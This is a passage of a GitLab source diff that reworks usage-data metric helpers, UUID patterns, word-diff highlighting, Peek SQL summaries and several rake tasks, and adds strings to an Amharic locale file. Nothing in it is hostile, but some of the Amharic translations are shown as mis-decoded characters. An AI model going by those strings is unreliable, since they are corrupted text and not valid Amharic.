@@ -28,7 +28,7 @@ module Gitlab
'unassign_reviewer'
when 'request_review', 'reviewer'
'assign_reviewer'
- when 'spend'
+ when 'spend', 'spent'
event_name_for_spend(args)
when 'unassign'
event_name_for_unassign(args)
diff --git a/lib/gitlab/usage_data_non_sql_metrics.rb b/lib/gitlab/usage_data_non_sql_metrics.rb
new file mode 100644
index 00000000000..1f72bf4ce26
--- /dev/null
+++ b/lib/gitlab/usage_data_non_sql_metrics.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Gitlab
+ class UsageDataNonSqlMetrics < UsageData
+ SQL_METRIC_DEFAULT = -3
+
+ class << self
+ def count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)
+ SQL_METRIC_DEFAULT
+ end
+
+ def distinct_count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)
+ SQL_METRIC_DEFAULT
+ end
+
+ def estimate_batch_distinct_count(relation, column = nil, batch_size: nil, start: nil, finish: nil)
+ SQL_METRIC_DEFAULT
+ end
+
+ def sum(relation, column, batch_size: nil, start: nil, finish: nil)
+ SQL_METRIC_DEFAULT
+ end
+
+ def histogram(relation, column, buckets:, bucket_size: buckets.size)
+ SQL_METRIC_DEFAULT
+ end
+
+ def maximum_id(model)
+ end
+
+ def minimum_id(model)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data_queries.rb b/lib/gitlab/usage_data_queries.rb
index c00e7a2aa13..c0dfae88fc7 100644
--- a/lib/gitlab/usage_data_queries.rb
+++ b/lib/gitlab/usage_data_queries.rb
@@ -5,11 +5,11 @@ module Gitlab
# See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41091
class UsageDataQueries < UsageData
class << self
- def count(relation, column = nil, *rest)
+ def count(relation, column = nil, *args, **kwargs)
raw_sql(relation, column)
end
- def distinct_count(relation, column = nil, *rest)
+ def distinct_count(relation, column = nil, *args, **kwargs)
raw_sql(relation, column, :distinct)
end
@@ -21,14 +21,14 @@ module Gitlab
end
end
- def sum(relation, column, *rest)
+ def sum(relation, column, *args, **kwargs)
relation.select(relation.all.table[column].sum).to_sql
end
# For estimated distinct count use exact query instead of hll
# buckets query, because it can't be used to obtain estimations without
# supplementary ruby code present in Gitlab::Database::PostgresHll::BatchDistinctCounter
- def estimate_batch_distinct_count(relation, column = nil, *rest)
+ def estimate_batch_distinct_count(relation, column = nil, *args, **kwargs)
raw_sql(relation, column, :distinct)
end
@@ -36,6 +36,12 @@ module Gitlab
'SELECT ' + args.map {|arg| "(#{arg})" }.join(' + ')
end
+ def maximum_id(model)
+ end
+
+ def minimum_id(model)
+ end
+
private
def raw_sql(relation, column, distinct = nil)
diff --git a/lib/gitlab/utils.rb b/lib/gitlab/utils.rb
index 29f02a5912a..c1a57566640 100644
--- a/lib/gitlab/utils.rb
+++ b/lib/gitlab/utils.rb
@@ -99,6 +99,8 @@ module Gitlab
end
def to_boolean(value, default: nil)
+ value = value.to_s if [0, 1].include?(value)
+
return value if [true, false].include?(value)
return true if value =~ /^(true|t|yes|y|1|on)$/i
return false if value =~ /^(false|f|no|n|0|off)$/i
diff --git a/lib/gitlab/utils/usage_data.rb b/lib/gitlab/utils/usage_data.rb
index 854fc5c917d..efa2f7a943f 100644
--- a/lib/gitlab/utils/usage_data.rb
+++ b/lib/gitlab/utils/usage_data.rb
@@ -36,6 +36,7 @@
module Gitlab
module Utils
module UsageData
+ include Gitlab::Utils::StrongMemoize
extend self
FALLBACK = -1
@@ -209,6 +210,20 @@ module Gitlab
Gitlab::UsageDataCounters::HLLRedisCounter.track_event(event_name.to_s, values: values)
end
+ def maximum_id(model)
+ key = :"#{model.name.downcase}_maximum_id"
+ strong_memoize(key) do
+ model.maximum(:id)
+ end
+ end
+
+ def minimum_id(model)
+ key = :"#{model.name.downcase}_minimum_id"
+ strong_memoize(key) do
+ model.minimum(:id)
+ end
+ end
+
private
def prometheus_client(verify:)
diff --git a/lib/gitlab/uuid.rb b/lib/gitlab/uuid.rb
index 80caf2c6788..016c25eb94b 100644
--- a/lib/gitlab/uuid.rb
+++ b/lib/gitlab/uuid.rb
@@ -9,9 +9,9 @@ module Gitlab
production: "58dc0f06-936c-43b3-93bb-71693f1b6570"
}.freeze
- UUID_V5_PATTERN = /\h{8}-\h{4}-5\h{3}-\h{4}-\h{4}\h{8}/.freeze
+ UUID_V5_PATTERN = /\h{8}-\h{4}-5\h{3}-\h{4}-\h{12}/.freeze
NAMESPACE_REGEX = /(\h{8})-(\h{4})-(\h{4})-(\h{4})-(\h{4})(\h{8})/.freeze
- PACK_PATTERN = "NnnnnN".freeze
+ PACK_PATTERN = "NnnnnN"
class << self
def v5(name, namespace_id: default_namespace_id)
diff --git a/lib/gitlab/web_ide/config/entry/terminal.rb b/lib/gitlab/web_ide/config/entry/terminal.rb
index 403e308d45b..ec07023461f 100644
--- a/lib/gitlab/web_ide/config/entry/terminal.rb
+++ b/lib/gitlab/web_ide/config/entry/terminal.rb
@@ -10,6 +10,7 @@ module Gitlab
class Terminal < ::Gitlab::Config::Entry::Node
include ::Gitlab::Config::Entry::Configurable
include ::Gitlab::Config::Entry::Attributable
+ include Gitlab::Utils::StrongMemoize
# By default the build will finish in a few seconds, not giving the webide
# enough time to connect to the terminal. This default script provides
@@ -51,21 +52,26 @@ module Gitlab
private
def to_hash
- { tag_list: tags || [],
- yaml_variables: yaml_variables,
+ {
+ tag_list: tags || [],
+ yaml_variables: yaml_variables, # https://gitlab.com/gitlab-org/gitlab/-/issues/300581
+ job_variables: yaml_variables,
options: {
image: image_value,
services: services_value,
before_script: before_script_value,
script: script_value || DEFAULT_SCRIPT
- }.compact }
+ }.compact
+ }.compact
end
def yaml_variables
- return unless variables_value
+ strong_memoize(:yaml_variables) do
+ next unless variables_value
- variables_value.map do |key, value|
- { key: key.to_s, value: value, public: true }
+ variables_value.map do |key, value|
+ { key: key.to_s, value: value, public: true }
+ end
end
end
end
diff --git a/lib/gitlab/word_diff/chunk_collection.rb b/lib/gitlab/word_diff/chunk_collection.rb
index dd388f75302..d5c3e59d405 100644
--- a/lib/gitlab/word_diff/chunk_collection.rb
+++ b/lib/gitlab/word_diff/chunk_collection.rb
@@ -18,6 +18,27 @@ module Gitlab
def reset
@chunks = []
end
+
+ def marker_ranges
+ start = 0
+
+ @chunks.each_with_object([]) do |element, ranges|
+ mode = mode_for_element(element)
+
+ ranges << Gitlab::MarkerRange.new(start, start + element.length - 1, mode: mode) if mode
+
+ start += element.length
+ end
+ end
+
+ private
+
+ def mode_for_element(element)
+ return Gitlab::MarkerRange::DELETION if element.removed?
+ return Gitlab::MarkerRange::ADDITION if element.added?
+
+ nil
+ end
end
end
end
diff --git a/lib/gitlab/word_diff/parser.rb b/lib/gitlab/word_diff/parser.rb
index 3b6d4d4d384..e611abb5692 100644
--- a/lib/gitlab/word_diff/parser.rb
+++ b/lib/gitlab/word_diff/parser.rb
@@ -31,7 +31,7 @@ module Gitlab
@chunks.add(segment)
when Segments::Newline
- yielder << build_line(@chunks.content, nil, parent_file: diff_file)
+ yielder << build_line(@chunks.content, nil, parent_file: diff_file).tap { |line| line.set_marker_ranges(@chunks.marker_ranges) }
@chunks.reset
counter.increase_pos_num
diff --git a/lib/learn_gitlab.rb b/lib/learn_gitlab.rb
index 771083193d1..abceb80bd30 100644
--- a/lib/learn_gitlab.rb
+++ b/lib/learn_gitlab.rb
@@ -1,9 +1,9 @@
# frozen_string_literal: true
class LearnGitlab
- PROJECT_NAME = 'Learn GitLab'.freeze
- BOARD_NAME = 'GitLab onboarding'.freeze
- LABEL_NAME = 'Novice'.freeze
+ PROJECT_NAME = 'Learn GitLab'
+ BOARD_NAME = 'GitLab onboarding'
+ LABEL_NAME = 'Novice'
def initialize(current_user)
@current_user = current_user
diff --git a/lib/peek/views/active_record.rb b/lib/peek/views/active_record.rb
index 523e673e9e1..4040bed50a9 100644
--- a/lib/peek/views/active_record.rb
+++ b/lib/peek/views/active_record.rb
@@ -17,22 +17,32 @@ module Peek
}
}.freeze
- def results
- super.merge(calls: detailed_calls)
- end
-
def self.thresholds
@thresholds ||= THRESHOLDS.fetch(Rails.env.to_sym, DEFAULT_THRESHOLDS)
end
+ def results
+ super.merge(summary: summary)
+ end
+
private
- def detailed_calls
- "#{calls} (#{cached_calls} cached)"
+ def summary
+ detail_store.each_with_object({}) do |item, count|
+ count_summary(item, count)
+ end
end
- def cached_calls
- detail_store.count { |item| item[:cached] == 'cached' }
+ def count_summary(item, count)
+ if item[:cached].present?
+ count[item[:cached]] ||= 0
+ count[item[:cached]] += 1
+ end
+
+ if item[:transaction].present?
+ count[item[:transaction]] ||= 0
+ count[item[:transaction]] += 1
+ end
end
def setup_subscribers
@@ -45,10 +55,12 @@ module Peek
def generate_detail(start, finish, data)
{
+ start: start,
duration: finish - start,
sql: data[:sql].strip,
backtrace: Gitlab::BacktraceCleaner.clean_backtrace(caller),
- cached: data[:cached] ? 'cached' : ''
+ cached: data[:cached] ? 'Cached' : '',
+ transaction: data[:connection].transaction_open? ? 'In a transaction' : ''
}
end
end
diff --git a/lib/rouge/formatters/html_gitlab.rb b/lib/rouge/formatters/html_gitlab.rb
index 8f18d6433e0..e0e9677fac7 100644
--- a/lib/rouge/formatters/html_gitlab.rb
+++ b/lib/rouge/formatters/html_gitlab.rb
@@ -7,10 +7,11 @@ module Rouge
# Creates a new <tt>Rouge::Formatter::HTMLGitlab</tt> instance.
#
- # [+tag+] The tag (language) of the lexer used to generate the formatted tokens
+ # [+tag+] The tag (language) of the lexer used to generate the formatted tokens
+ # [+line_number+] The line number used to populate line IDs
def initialize(options = {})
- @line_number = 1
@tag = options[:tag]
+ @line_number = options[:line_number] || 1
end
def stream(tokens)
diff --git a/lib/spam/concerns/has_spam_action_response_fields.rb b/lib/spam/concerns/has_spam_action_response_fields.rb
index d49f5cd6454..6688ae56cb0 100644
--- a/lib/spam/concerns/has_spam_action_response_fields.rb
+++ b/lib/spam/concerns/has_spam_action_response_fields.rb
@@ -23,15 +23,6 @@ module Spam
captcha_site_key: Gitlab::CurrentSettings.recaptcha_site_key
}
end
-
- # with_spam_action_response_fields(spammable) { {other_fields: true} } -> hash
- #
- # Takes a Spammable and a block as arguments.
- #
- # The block passed should be a hash, which the spam_action_fields will be merged into.
- def with_spam_action_response_fields(spammable)
- yield.merge(spam_action_response_fields(spammable))
- end
end
end
end
diff --git a/lib/support/nginx/gitlab b/lib/support/nginx/gitlab
index 9eafa5ef008..74eb8634d58 100644
--- a/lib/support/nginx/gitlab
+++ b/lib/support/nginx/gitlab
@@ -7,8 +7,8 @@
## CONTRIBUTING ##
##################################
##
-## If you change this file in a Merge Request, please also create
-## a Merge Request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+## If you change this file in a merge request, please also create
+## a merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
##
###################################
## configuration ##
diff --git a/lib/support/nginx/gitlab-ssl b/lib/support/nginx/gitlab-ssl
index ae5c88455e4..576c13d8d10 100644
--- a/lib/support/nginx/gitlab-ssl
+++ b/lib/support/nginx/gitlab-ssl
@@ -11,8 +11,8 @@
## CONTRIBUTING ##
##################################
##
-## If you change this file in a Merge Request, please also create
-## a Merge Request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+## If you change this file in a merge request, please also create
+## a merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
##
###################################
## configuration ##
diff --git a/lib/system_check/app/git_version_check.rb b/lib/system_check/app/git_version_check.rb
index 0f4fbe4fba5..31456dc096b 100644
--- a/lib/system_check/app/git_version_check.rb
+++ b/lib/system_check/app/git_version_check.rb
@@ -7,7 +7,7 @@ module SystemCheck
set_check_pass -> { "yes (#{self.current_version})" }
def self.required_version
- @required_version ||= Gitlab::VersionInfo.parse('2.29.0')
+ @required_version ||= Gitlab::VersionInfo.parse('2.31.0')
end
def self.current_version
diff --git a/lib/system_check/app/redis_version_check.rb b/lib/system_check/app/redis_version_check.rb
index a205861b9a9..e72d8b6b04d 100644
--- a/lib/system_check/app/redis_version_check.rb
+++ b/lib/system_check/app/redis_version_check.rb
@@ -5,8 +5,10 @@ require 'redis'
module SystemCheck
module App
class RedisVersionCheck < SystemCheck::BaseCheck
+ # Redis 4.x will be deprecated
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/327197
MIN_REDIS_VERSION = '4.0.0'
- RECOMMENDED_REDIS_VERSION = '4.0.0' # In future we may deprecate but still support Redis 4
+ RECOMMENDED_REDIS_VERSION = '5.0.0'
set_name "Redis version >= #{RECOMMENDED_REDIS_VERSION}?"
@custom_error_message = ''
diff --git a/lib/tasks/brakeman.rake b/lib/tasks/brakeman.rake
deleted file mode 100644
index 44d2071751f..00000000000
--- a/lib/tasks/brakeman.rake
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-desc 'Security check via brakeman'
-task :brakeman do
- # We get 0 warnings at level 'w3' but we would like to reach 'w2'. Merge
- # requests are welcome!
- if system(*%w(brakeman --no-progress --skip-files lib/backup/repository.rb -w3 -z))
- puts 'Security check succeed'
- else
- puts 'Security check failed'
- exit 1
- end
-end
diff --git a/lib/tasks/cache.rake b/lib/tasks/cache.rake
index 4d698e56444..13365b9ec07 100644
--- a/lib/tasks/cache.rake
+++ b/lib/tasks/cache.rake
@@ -3,7 +3,7 @@
namespace :cache do
namespace :clear do
REDIS_CLEAR_BATCH_SIZE = 1000 # There seems to be no speedup when pushing beyond 1,000
- REDIS_SCAN_START_STOP = '0'.freeze # Magic value, see http://redis.io/commands/scan
+ REDIS_SCAN_START_STOP = '0' # Magic value, see http://redis.io/commands/scan
desc "GitLab | Cache | Clear redis cache"
task redis: :environment do
diff --git a/lib/tasks/db_obsolete_ignored_columns.rake b/lib/tasks/db_obsolete_ignored_columns.rake
index cf35a355ce9..a689a9bf2d8 100644
--- a/lib/tasks/db_obsolete_ignored_columns.rake
+++ b/lib/tasks/db_obsolete_ignored_columns.rake
@@ -20,7 +20,7 @@ task 'db:obsolete_ignored_columns' => :environment do
WARNING: Removing columns is tricky because running GitLab processes may still be using the columns.
- See also https://docs.gitlab.com/ee/development/what_requires_downtime.html#dropping-columns
+ See also https://docs.gitlab.com/ee/development/avoiding_downtime_in_migrations.html#dropping-columns
TEXT
end
end
diff --git a/lib/tasks/downtime_check.rake b/lib/tasks/downtime_check.rake
deleted file mode 100644
index 3428e3f8f53..00000000000
--- a/lib/tasks/downtime_check.rake
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-desc 'Checks if migrations in a branch require downtime'
-task downtime_check: :environment do
- repo = if defined?(Gitlab::License)
- 'gitlab'
- else
- 'gitlab-foss'
- end
-
- `git fetch https://gitlab.com/gitlab-org/#{repo}.git --depth 1`
-
- Rake::Task['gitlab:db:downtime_check'].invoke('FETCH_HEAD')
-end
diff --git a/lib/tasks/gitlab/db.rake b/lib/tasks/gitlab/db.rake
index 541a4fc62af..3baf4e7b7c6 100644
--- a/lib/tasks/gitlab/db.rake
+++ b/lib/tasks/gitlab/db.rake
@@ -80,22 +80,6 @@ namespace :gitlab do
end
end
- desc 'GitLab | DB | Checks if migrations require downtime or not'
- task :downtime_check, [:ref] => :environment do |_, args|
- abort 'You must specify a Git reference to compare with' unless args[:ref]
-
- require 'shellwords'
-
- ref = Shellwords.escape(args[:ref])
-
- migrations = `git diff #{ref}.. --diff-filter=A --name-only -- db/migrate`.lines
- .map { |file| Rails.root.join(file.strip).to_s }
- .select { |file| File.file?(file) }
- .select { |file| /\A[0-9]+.*\.rb\z/ =~ File.basename(file) }
-
- Gitlab::DowntimeCheck.new.check_and_print(migrations)
- end
-
desc 'GitLab | DB | Sets up EE specific database functionality'
if Gitlab.ee?
@@ -237,7 +221,8 @@ namespace :gitlab do
result_file = args[:result_file] || raise("Please specify result_file argument")
raise "File exists already, won't overwrite: #{result_file}" if File.exist?(result_file)
- verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, true
+ verbose_was = ActiveRecord::Migration.verbose
+ ActiveRecord::Migration.verbose = true
ctx = ActiveRecord::Base.connection.migration_context
existing_versions = ctx.get_all_versions.to_set
diff --git a/lib/tasks/gitlab/docs/redirect.rake b/lib/tasks/gitlab/docs/redirect.rake
new file mode 100644
index 00000000000..0c8e0755348
--- /dev/null
+++ b/lib/tasks/gitlab/docs/redirect.rake
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+require 'date'
+require 'pathname'
+
+# https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page
+namespace :gitlab do
+ namespace :docs do
+ desc 'GitLab | Docs | Create a doc redirect'
+ task :redirect, [:old_path, :new_path] do |_, args|
+ if args.old_path
+ old_path = args.old_path
+ else
+ puts '=> Enter the path of the OLD file:'
+ old_path = STDIN.gets.chomp
+ end
+
+ if args.new_path
+ new_path = args.new_path
+ else
+ puts '=> Enter the path of the NEW file:'
+ new_path = STDIN.gets.chomp
+ end
+
+ #
+ # If the new path is a relative URL, find the relative path between
+ # the old and new paths.
+ # The returned path is one level deeper, so remove the leading '../'.
+ #
+ unless new_path.start_with?('http')
+ old_pathname = Pathname.new(old_path)
+ new_pathname = Pathname.new(new_path)
+ relative_path = new_pathname.relative_path_from(old_pathname).to_s
+ (_, *last) = relative_path.split('/')
+ new_path = last.join('/')
+ end
+
+ #
+ # - If this is an external URL, move the date 1 year later.
+ # - If this is a relative URL, move the date 3 months later.
+ #
+ date = Time.now.utc.strftime('%Y-%m-%d')
+ date = new_path.start_with?('http') ? Date.parse(date) >> 12 : Date.parse(date) >> 3
+
+ puts "=> Creating new redirect from #{old_path} to #{new_path}"
+ File.open(old_path, 'w') do |post|
+ post.puts '---'
+ post.puts "redirect_to: '#{new_path}'"
+ post.puts '---'
+ post.puts
+ post.puts "This file was moved to [another location](#{new_path})."
+ post.puts
+ post.puts "<!-- This redirect file can be deleted after <#{date}>. -->"
+ post.puts "<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->"
+ end
+ end
+ end
+end
diff --git a/lib/tasks/gitlab/gitaly.rake b/lib/tasks/gitlab/gitaly.rake
index 9e474b00ba7..df75b3cf716 100644
--- a/lib/tasks/gitlab/gitaly.rake
+++ b/lib/tasks/gitlab/gitaly.rake
@@ -17,24 +17,29 @@ Usage: rake "gitlab:gitaly:install[/installation/dir,/storage/path]")
checkout_or_clone_version(version: version, repo: args.repo, target_dir: args.dir, clone_opts: %w[--depth 1])
- command = []
- _, status = Gitlab::Popen.popen(%w[which gmake])
- command << (status == 0 ? 'gmake' : 'make')
-
- if Rails.env.test?
- command.push(
- 'BUNDLE_FLAGS=--no-deployment',
- "GEM_HOME=#{Bundler.bundle_path}")
- end
-
storage_paths = { 'default' => args.storage_path }
Gitlab::SetupHelper::Gitaly.create_configuration(args.dir, storage_paths)
+
+ # In CI we run scripts/gitaly-test-build
+ next if ENV['CI'].present?
+
Dir.chdir(args.dir) do
- # In CI we run scripts/gitaly-test-build instead of this command
- unless ENV['CI'].present?
- Bundler.with_original_env { Gitlab::Popen.popen(command, nil, { "RUBYOPT" => nil, "BUNDLE_GEMFILE" => nil }) }
+ Bundler.with_original_env do
+ env = { "RUBYOPT" => nil, "BUNDLE_GEMFILE" => nil }
+
+ if Rails.env.test?
+ env["GEM_HOME"] = Bundler.bundle_path.to_s
+ env["BUNDLE_DEPLOYMENT"] = 'false'
+ end
+
+ Gitlab::Popen.popen([make_cmd], nil, env)
end
end
end
+
+ def make_cmd
+ _, status = Gitlab::Popen.popen(%w[which gmake])
+ status == 0 ? 'gmake' : 'make'
+ end
end
end
diff --git a/lib/tasks/gitlab/graphql.rake b/lib/tasks/gitlab/graphql.rake
index 77377a7e0fd..27bba6aa307 100644
--- a/lib/tasks/gitlab/graphql.rake
+++ b/lib/tasks/gitlab/graphql.rake
@@ -110,7 +110,7 @@ namespace :gitlab do
desc 'GitLab | GraphQL | Generate GraphQL docs'
task compile_docs: [:environment, :enable_feature_flags] do
- renderer = Gitlab::Graphql::Docs::Renderer.new(GitlabSchema.graphql_definition, render_options)
+ renderer = Gitlab::Graphql::Docs::Renderer.new(GitlabSchema, render_options)
renderer.write
@@ -119,7 +119,7 @@ namespace :gitlab do
desc 'GitLab | GraphQL | Check if GraphQL docs are up to date'
task check_docs: [:environment, :enable_feature_flags] do
- renderer = Gitlab::Graphql::Docs::Renderer.new(GitlabSchema.graphql_definition, render_options)
+ renderer = Gitlab::Graphql::Docs::Renderer.new(GitlabSchema, render_options)
doc = File.read(Rails.root.join(OUTPUT_DIR, 'index.md'))
diff --git a/lib/tasks/gitlab/pages.rake b/lib/tasks/gitlab/pages.rake
index b598dab901d..ee2931f0c4f 100644
--- a/lib/tasks/gitlab/pages.rake
+++ b/lib/tasks/gitlab/pages.rake
@@ -9,9 +9,9 @@ namespace :gitlab do
logger.info('Starting to migrate legacy pages storage to zip deployments')
result = ::Pages::MigrateFromLegacyStorageService.new(logger,
- migration_threads: migration_threads,
- batch_size: batch_size,
- ignore_invalid_entries: ignore_invalid_entries).execute
+ ignore_invalid_entries: ignore_invalid_entries,
+ mark_projects_as_not_deployed: mark_projects_as_not_deployed)
+ .execute_with_threads(threads: migration_threads, batch_size: batch_size)
logger.info("A total of #{result[:migrated] + result[:errored]} projects were processed.")
logger.info("- The #{result[:migrated]} projects migrated successfully")
@@ -51,5 +51,39 @@ namespace :gitlab do
ENV.fetch('PAGES_MIGRATION_IGNORE_INVALID_ENTRIES', 'false')
)
end
+
+ def mark_projects_as_not_deployed
+ Gitlab::Utils.to_boolean(
+ ENV.fetch('PAGES_MIGRATION_MARK_PROJECTS_AS_NOT_DEPLOYED', 'false')
+ )
+ end
+
+ namespace :deployments do
+ task migrate_to_object_storage: :gitlab_environment do
+ logger = Logger.new(STDOUT)
+ logger.info('Starting transfer of pages deployments to remote storage')
+
+ helper = Gitlab::Pages::MigrationHelper.new(logger)
+
+ begin
+ helper.migrate_to_remote_storage
+ rescue => e
+ logger.error(e.message)
+ end
+ end
+
+ task migrate_to_local: :gitlab_environment do
+ logger = Logger.new(STDOUT)
+ logger.info('Starting transfer of Pages deployments to local storage')
+
+ helper = Gitlab::Pages::MigrationHelper.new(logger)
+
+ begin
+ helper.migrate_to_local_storage
+ rescue => e
+ logger.error(e.message)
+ end
+ end
+ end
end
end
diff --git a/lib/tasks/gitlab/test.rake b/lib/tasks/gitlab/test.rake
deleted file mode 100644
index a83ba69bc75..00000000000
--- a/lib/tasks/gitlab/test.rake
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-namespace :gitlab do
- desc "GitLab | Run all tests"
- task :test do
- cmds = [
- %w(rake brakeman),
- %w(rake rubocop),
- %w(rake spec),
- %w(rake karma)
- ]
-
- cmds.each do |cmd|
- system({ 'RAILS_ENV' => 'test', 'force' => 'yes' }, *cmd) || raise("#{cmd} failed!")
- end
- end
-end
diff --git a/lib/tasks/spec.rake b/lib/tasks/spec.rake
index bf18332a8eb..5eed5d4dce4 100644
--- a/lib/tasks/spec.rake
+++ b/lib/tasks/spec.rake
@@ -2,30 +2,44 @@
return if Rails.env.production?
+require_relative '../../tooling/merge_request_rspec_failure_rake_task'
+
namespace :spec do
desc 'GitLab | RSpec | Run unit tests'
RSpec::Core::RakeTask.new(:unit, :rspec_opts) do |t, args|
- require_dependency 'quality/test_level'
+ require_test_level
t.pattern = Quality::TestLevel.new.pattern(:unit)
t.rspec_opts = args[:rspec_opts]
end
desc 'GitLab | RSpec | Run integration tests'
RSpec::Core::RakeTask.new(:integration, :rspec_opts) do |t, args|
- require_dependency 'quality/test_level'
+ require_test_level
t.pattern = Quality::TestLevel.new.pattern(:integration)
t.rspec_opts = args[:rspec_opts]
end
desc 'GitLab | RSpec | Run system tests'
RSpec::Core::RakeTask.new(:system, :rspec_opts) do |t, args|
- require_dependency 'quality/test_level'
+ require_test_level
t.pattern = Quality::TestLevel.new.pattern(:system)
t.rspec_opts = args[:rspec_opts]
end
+ desc 'GitLab | RSpec | Run merge request RSpec failures'
+ Tooling::MergeRequestRspecFailureRakeTask.new(:merge_request_rspec_failure, :rspec_opts) do |t, args|
+ t.pattern = t.rspec_failures_on_merge_request
+ t.rspec_opts = args[:rspec_opts]
+ end
+
desc 'Run the code examples in spec/requests/api'
RSpec::Core::RakeTask.new(:api) do |t|
t.pattern = 'spec/requests/api/**/*_spec.rb'
end
+
+ private
+
+ def require_test_level
+ require_relative '../../tooling/quality/test_level'
+ end
end
diff --git a/lib/tasks/test.rake b/lib/tasks/test.rake
index b24817468c6..c4eb9450b31 100644
--- a/lib/tasks/test.rake
+++ b/lib/tasks/test.rake
@@ -2,7 +2,16 @@
Rake::Task["test"].clear
-desc "GitLab | Run all tests"
+desc "GitLab | List rake tasks for tests"
task :test do
- Rake::Task["gitlab:test"].invoke
+ puts "Running the full GitLab test suite takes significant time to pass. We recommend using one of the following spec tasks:\n\n"
+
+ spec_tasks = Rake::Task.tasks.select { |t| t.name.start_with?('spec:') }
+ longest_task_name = spec_tasks.map { |t| t.name.size }.max
+
+ spec_tasks.each do |task|
+ puts "#{"%-#{longest_task_name}s" % task.name} | #{task.full_comment}"
+ end
+
+ puts "\nLearn more at https://docs.gitlab.com/ee/development/rake_tasks.html#run-tests."
end
diff --git a/locale/am_ET/gitlab.po b/locale/am_ET/gitlab.po
index 587622aa18b..ea081098ec8 100644
--- a/locale/am_ET/gitlab.po
+++ b/locale/am_ET/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: am\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:52\n"
+"PO-Revision-Date: 2021-04-02 00:13\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d የተስተካከለ የáተሻ á‹áŒ¤á‰µ"
@@ -392,6 +402,9 @@ msgstr "የ%{authorsName} ክር"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_timeago} በ%{commit_author_link} የተደረሰ"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr "ከ%{name} %{count} áቃዶች"
msgid "%{count} files touched"
msgstr "%{count} á‹á‹­áˆŽá‰½ ተáŠáŠ­á‰°á‹‹áˆ"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "%{count} ተጨማሪ"
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} በቡድን የሚተዳደሩ መለያዎችን ይጠቀማáˆá¢ በ%{group_name} የሚተዳደር አዲስ የGitLab መለያ መáጠር ይኖርቦታáˆá¢"
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
